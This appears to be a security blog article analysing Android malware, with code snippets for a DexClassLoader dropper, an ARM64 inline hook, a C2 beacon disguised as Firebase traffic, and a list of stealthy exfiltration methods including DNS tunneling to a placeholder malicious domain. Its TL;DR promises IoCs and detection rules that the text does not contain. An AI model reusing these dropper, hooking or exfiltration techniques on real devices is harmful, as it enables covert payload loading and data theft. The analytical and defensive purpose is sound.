Mobile Malware Analysis: From Dropper to C2 Beaconing

Mobile Malware Analysis: Dropper, Injection & C2 Beaconing

By Security Research Team | Intermediate/Advanced

TL;DR: We analyze real-world Android malware stages: the DexClassLoader dropper, native library injection, obfuscation techniques, and C2 communication. Includes IoCs and detection rules.

Stage 1: The Dropper

Most Android malware begins as a seemingly benign app on third-party stores. The dropper's job is to evade Google Play Protect while fetching the real payload.

DexClassLoader loader = new DexClassLoader(
    encryptedDexPath, context.getCacheDir(), null,
    context.getClassLoader());
Class<?> payloadClass = loader.loadClass("com.evil.Payload");
Method main = payloadClass.getMethod("run", Context.class);
main.invoke(null, context);

Stage 2: Native Library Injection

void hook_function(void* target, void* replacement) {
    uint32_t trampoline[] = {
        0x58000050,  // LDR X16, [PC, #8]
        0xD61F0200,  // BR X16
        (uint64_t)replacement, (uint64_t)replacement >> 32
    };
    memcpy(target, trampoline, 16);
    __clear_cache(target, target + 16);
}

Stage 3: C2 Beaconing

The beacon uses HTTPS with certificate pinning to avoid simple MITM. Modern C2 beacons mimic Google Analytics or Firebase traffic.

POST /v2/app/1:123456789:android:abc/log HTTP/1.1
Host: app-measurement.com
Content-Type: application/json
{
  "analytics": {
    "events": [{
      "name": "session_start",
      "params": {
        "device_id": "dGhpcyBpcyBhIGNvbW1hbmQ=",
        "session_id": "63636163726574646f636d61696e2e6576656c2e6e6574"
      }
    }]
  }
}

Stage 4: Data Exfiltration

Methods ranked by stealth:

1. DNS tunneling: base32(data).malicious-domain.com — hardest to block
2. WebSocket: WSS to a benign-looking service — blends with legit WS traffic
3. ICMP exfil: data encoded in ICMP echo payloads — often unmonitored
4. Cloud API: uses victim's own OAuth tokens + Google Drive/Dropbox

---

Defense Recommendations

• Monitor DexClassLoader via Play Integrity + custom detection
• Use StrictMode to detect unexpected native library loads
• Deploy DNS over HTTPS (DoH) with threat intelligence feeds
• Run dynamic analysis with Frida + objection

Tags: #MalwareAnalysis #AndroidMalware #C2 #Dropper #ReverseEngineering